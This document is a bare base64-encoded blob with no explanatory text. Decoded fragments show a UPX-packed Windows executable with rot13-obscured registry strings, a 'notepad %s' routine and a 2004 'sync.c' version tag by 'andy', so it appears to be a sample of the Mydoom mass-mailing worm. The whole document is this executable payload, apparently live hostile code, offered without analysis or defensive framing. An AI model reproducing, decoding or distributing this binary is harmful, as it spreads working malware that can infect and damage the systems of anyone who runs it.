AAAAqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUA
AEwBAwAAAAAAAAAAAAAAAADgAA8BCwEHAABQAAAAEAAAAGAAAGC+AAAAcAAAAMAAAAAASgAAEAAA
AAIAAAQAAAAAAAAABAAAAAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQ
AAAAAAAAAAAAAADowQAAMAEAAADAAADoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAABVUFgwAAAAAABgAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADg
VVBYMQAAAAAAUAAAAHAAAABQAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADAAAAA
BAAAAFQAAAAAAAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAMS4yNABVUFghDAkCCUh+iY/UNhyBKZYAAFNOAAAAgAAAJgEAxe6H
ApIAUCZKAEAD/bJpmiwQBPQl6AEAS85pmm7ZH8gqwAO4sKimaZqmoJiQiICapmmaeHBoYFhQzWCf
aUgARAc4MDRN03QDKCQcGBDTLLvXCCMD+Cnw6E3TNE3g2NDIvLQ0TdM0rKSclIzONk3TiHxwaClv
XKbpmsEHVEwDRDiapmmaLCQcFAwEaZrObfwofwP07OSmaZqm3NTMyLyapmmatKykoJiQZ5umaYyA
eHAoe2jebNN1B1wDVEwo//sLdrb740APNCj3LC8DmqYZ+SQoShwUDARpms7sm/wnA+zo4KZpmqbY
1MzIwJqmabq4J7CsqKCYaZqmaZSMiIR8pGmapnRsZFxUaZqmG0wDREA4MKZpmqYoIBgQCJqmc5sA
+CbPA+jg2Gebzm1UNEMDQDQ024r/////nVrQ2uX0Bh8zTmxyTtgCl1+SyAE9fL5DS5bkNYngOpf/
////91rAKZUEdutj3lzdYehy/48iuFHtjC7TeybUDTnwqmf/////J+qweUUU5ruTbkwtEfjiz7+y
qKGdnJ6jq7bE1ekAGjf/////V3qgyfUkVovD/jx9wQhSn+9CmPFNrA5z20a0JZkQigf/////hwqQ
GaWlqP7yw9Ko+BIsSmuPtuANPXCm3xtafOEnVcn/////EmC+GGXVOJ4Xc+JUiUG8muM/xlCNbQCW
T8tqDLFDerL/////cxfOiEcFyIpXI/LEmXFMLgvv1sCtnZCGD3t6fJGJlKL/////s8fe+hU1WH6n
wwI0eaHcGluP5jBtzSB2zyuK/FG5JJL/////A3fuaOVl6G6Xg4N2jJWhsMLX7wooSW2UvusbToS9
+Tj/////er8HUqDxRWyWU7MafOVRwDKnH5oYmR2kLrtL3nQNqUj/////6o834pBB9axmI+OmbDUB
0KJ3TyoI6c20not7bmRdWVj/////Wl9ncoCRpbzW8xM2XIWx4BJHf7r4OX3EDlur/lStCT3/////
mnenAnDhVcwGw0PGXNVhYWRqc3+MoLXN6AYnS3Kcyfn/////LGKbVxZYfbBgJv4jetQxkeRawy/O
EIX9dPZ3+4AMmSn/////vFLrhybIbRXAbh+TikThlNQSId+ugFUtGObHq/J8aVn/////TkI7Nzg4
PUVQXm+DmrTR8RQ6Y8++8OVstuQjW/e8Yaj/////0DuJ7nM8Y/iZ4MVLkRehId4isz8/VEhRe29+
1s/ZbpX/3/7/KQMj6ZQJv+bzpUEQpnwyaWuAIQstx07SEIJs+f////9zp3feFIcHB/tSqgFhwCyb
9yaW3ZedImAPRp7N/SxAf/////+TstLxCSBYdmhjXVBSUVNqZHcBLMXvVDC8VxE8zp1Xbv////8g
461g2tFSFc5mX7dBwBTkZZOfeP5yDbznapV7exN2dv////99HA0t8vb0sPHR53n63Uxlo/8nbIzd
C9uMG6m9dYc7T//////bFIJCFAlFzIIP+mK3KXP7FYPnHpN+tCRpKf+9KMvqTv//7f93Djqwv/dU
1OxzmAFNBp3yoq/CYvPlXjffBXFS/////wf4G0B+VD6nqU8sAn0wyOcG0lQqGmtMAZ0E9mr6HccG
/4X///gdkASrlgAGBhAr75nUTv8XeAuTxvh1IYyk/////1//zHJr62/+pf3s0EHJeJHZxKwmx+jg
qbcaXW/sKRCj/////7zz7fVvUSE1jdZTHEgpGOO3XD+duM3QUlXjtUPqvmfj/////6CgMuLOSTok
LzAKj66E4XVAoWKYsvUwSuDj/5GBwScH/////3eIZ49Us4UI4v6CRathjnTauyo4rvBK1BicF4pI
wrW8/////577H1bmbpDgO0ezoBq30qq8xPeTSKYBwAT/BhKLXanY/////72UMfgf6FpjPt/WCspC
1QxeYEly9fSu9FMX/BYV8o6a/////3NwPIKx4o43W1MWoieUVFissTU3Pqp1ZZUhbusahIFq////
/+YKGD86lZ+BguNzpEc9CQLWLojCp9U/ilzqn1Y7Xz1K/9L//8N5X0MJuPCrms4esoXZS8HUO17P
3/ZH+Ur3/////9j7LbSKZ2L/WK0RjCL3W8tY34X8rOBl2uuXlOJgCO8//////zzj7H8QjmB+3U2b
5J0FG5d628yz+zePJfE5HbJ8GvUd/////x+9n+nG6unrPtmWcP072kUl9vOk59YEIUw5/lukh4mS
////C53TsFuNKjZCG8rR5DRQrMMcxeFmimxbM1FC/////+0+I6ti1+6U9DSy6dVJrF4mrrxteWeV
WzeGpII9rofD/////4ewgLbfQ9+7i4BlLx6oMsu1KpM3Q3niYjRauu1pXGwi/////6wY1XPh68iG
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
7R5TtUTu32jxRzKWf4wdW8glqXzVJrP//1u0gNK1BGKCbhyK5Eyi3QBRuaXpLv9/i8ZLcIdXPCdp
e2iJlaKAnebr84n/3/jbf21bDAv5g+gRI57fC0aEaDFQmuc3iv//Df7gOZX0Vrsj2m3hWNJPz1LY
Ye3t8Pb/Cxr//y/9LEFZdJKzmShVhbjuJ2Oi5ClxvApbrwZgvR3/Fl/qgOZPjpwRiQS6hw6YJbVI
3v////93E7JU+aFM+qtfFtCNTRDWn2s6DOG5lHJTNx4I9eXYzv+F/v/Hw8LEydHc6vsPJkBdfaBP
G0p8sekkYqP/Av//5y54xRVovhdz0jSZAWzaSwCwLa0wtj/L//+N/svO1N3p+ApAUnCRtdwGM2OW
zAVBgMIHT/9S//+a6DmN5D6b+17ELZkIeu9nU+Fl7HYDkyb+X+r/vFXxkDLXfyrYiT3oayvutH1J
GOq/l3Lo//+XwBX85tPDtqyloaCip6+6yNntBB47W/X//19BzfkoWo/HKHN5bmMuYyx2IDAuMSAy
MDA0/SPbb5MxL3h4IAI6IGFuZHkpAHu7BRvMAi0MAAUcADkJzhD/mQ8BABAACQAS1wMHIX77ZnV2
enRNdi5xeXk3RmL9v/v/c2dqbmVyXFp2cGViZg1cSnZhcWJqZlxQaGV/+f+/F2FnSXJlZnZiYVxS
a2N5YmVyZWJ6UXl0M7f4LdgyXBlDanJvRnZrRnq6v/32Z2tGMFNnbmZ4ehcucmtyAEcLWis0BfYj
Z0V5l5b/9r9ub3RlcGFkICVzC01lc3NhZ2UALCX7mNsPdRIFLjJ1OgSKbnvPFAYDLy0/K/tv/29D
ZWMATm92AE9jdABTTQBBdWcASnVsA7a5261uU2F5D3ByBwNGkLe/XbYTYVNhJ0ZyaQBUaERXZfbO
3bZkB3VzTW8XL2FiY2Sf+8Jv/2doaWprbG2ccHFyc3ROd3h5emf2//9/QUJDREVGR0hJSktMTU5P
UFFSU1RVVldYWVobte3W2la412NnVAJQ3Oha4bYIcA5xRiAFn2ocPoJbAHYajmFoeHLd98K2PZNi
7naaXyducHgPoXD4t55iZ3h2Z0tDwwdp3y78fy10dmV5LTIuMG9xcIxfY05wdXJmmaHdCjNcdmkL
RDvZ1r5tSGRWLVHgeXPnnvv+bnpjNQB0Z2FbXymPgll27nNjXwdwaS7l3g4Y21FnMCNYbvpuXEcr
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
